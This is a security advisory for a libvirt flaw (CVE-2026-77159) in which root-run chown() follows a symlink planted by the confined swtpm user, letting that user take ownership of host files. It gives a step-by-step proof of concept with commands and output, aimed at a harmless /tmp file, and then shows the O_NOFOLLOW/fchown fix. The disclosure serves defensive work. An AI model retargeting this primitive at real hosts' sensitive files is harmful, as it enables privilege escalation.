CVE-2026-77159 · SECURITY WRITE-UP

libvirt swtpm sandbox escape

Unsafe chown() in qemuTPMEmulatorPrepareHost() allowed arbitrary file ownership transfer through a symbolic link.

Suraj TheekshanaCVSS 7.8 · HighLocal privilege escalation

Summary

libvirt changed ownership of the swtpm logfile while running with host privileges. On Ubuntu 24.04, the logfile directory was owned by the confined swtpm user, which could replace the logfile with a symlink.

When a TPM-backed VM was started, libvirt followed the symlink and changed the target file's owner to swtpm:swtpm. This broke the swtpm sandbox boundary and created a host privilege-escalation primitive.

Animated attack flow

Step 1 — swtpm controls the logfile directory

1Confined swtpmHas write access to the swtpm logfile directory.
2Plant symlinkReplaces the expected logfile with a link to a host file.
3Start the VMRoot-running libvirt calls pathname-based chown().
4Ownership stolenThe chosen target becomes owned by the swtpm account.
logfile → target Host target file /tmp/libvirt-swtpm-chown-target owner: root:rootowner: swtpm:swtpm

Verified environment

OSUbuntu 24.04 LTS (Noble)
Architectureaarch64
Kernel6.8.0-137-generic
libvirt10.0.0-2ubuntu8.15
HypervisorQEMU 8.2.2

Proof of concept and output

This reproduction uses a harmless file in /tmp. It demonstrates the ownership-transfer primitive without targeting a sensitive system file.

  1. Install libvirt and swtpm, then enable libvirtd.

  2. Define a QEMU domain with an emulator TPM.

    <domain type='qemu'>
      <name>poc-tpm-domain</name>
      <memory unit='MiB'>512</memory>
      <vcpu>1</vcpu>
      <os>
        <type arch='aarch64' machine='virt'>hvm</type>
        <boot dev='hd'/>
      </os>
      <devices>
        <emulator>/usr/bin/qemu-system-aarch64</emulator>
        <disk type='file' device='disk'>
          <driver name='qemu' type='qcow2'/>
          <source file='/var/lib/libvirt/images/poc-tpm.qcow2'/>
          <target dev='vda' bus='virtio'/>
        </disk>
        <console type='pty'/>
        <tpm model='tpm-tis'>
          <backend type='emulator' version='2.0'/>
        </tpm>
      </devices>
    </domain>
  3. Start the domain once to create the log directory and logfile, then stop it.

  4. Confirm that the swtpm account owns the writable log directory.

    $ sudo ls -la /var/log/swtpm/libvirt/qemu/
    total 12
    drwx-wx--- 2 swtpm swtpm 4096 Aug 18 16:29 .
    drwx--x--x 3 root  root  4096 Aug 18 17:00 ..
    -rw-r--r-- 1 swtpm swtpm 3228 Aug 18 17:56 poc-tpm-domain-swtpm.log
  5. Create a harmless root-owned target and record its original ownership.

    $ TARGET=/tmp/libvirt-swtpm-chown-target
    $ LOGFILE=/var/log/swtpm/libvirt/qemu/poc-tpm-domain-swtpm.log
    $ sudo rm -f "$TARGET"
    $ sudo touch "$TARGET"
    $ sudo chown root:root "$TARGET"
    $ sudo chmod 600 "$TARGET"
    $ echo "BEFORE: $(sudo stat -c '%U:%G %a %n' "$TARGET")"
    BEFORE: root:root 600 /tmp/libvirt-swtpm-chown-target
  6. As the confined swtpm account, replace the logfile with a symlink to the test target.

    $ sudo -u swtpm rm -f "$LOGFILE"
    $ sudo -u swtpm ln -s "$TARGET" "$LOGFILE"
  7. Start the domain to invoke the vulnerable privileged preparation path.

    $ sudo virsh start poc-tpm-domain 2>&1 || true
    error: Failed to start domain 'poc-tpm-domain'
    error: operation failed: swtpm died and reported:

    The domain may fail later because swtpm cannot use the redirected logfile. The ownership change has already occurred during preparation.

  8. Check the target file again.

    $ echo "AFTER: $(sudo stat -c '%U:%G %a %n' "$TARGET")"
    AFTER: swtpm:swtpm 600 /tmp/libvirt-swtpm-chown-target
Result: a privileged pathname-based chown() followed the planted symlink and transferred ownership of the chosen host file from root:root to swtpm:swtpm.

Fix

Upstream opened the logfile with O_NOFOLLOW and changed ownership through the returned descriptor with fchown(). A symlink is therefore rejected instead of followed.

- chown(logfile, swtpm_user, swtpm_group);
+ fd = open(logfile, O_WRONLY | O_CREAT | O_NOFOLLOW | O_CLOEXEC, 0644);
+ fchown(fd, swtpm_user, swtpm_group);

Timeline

References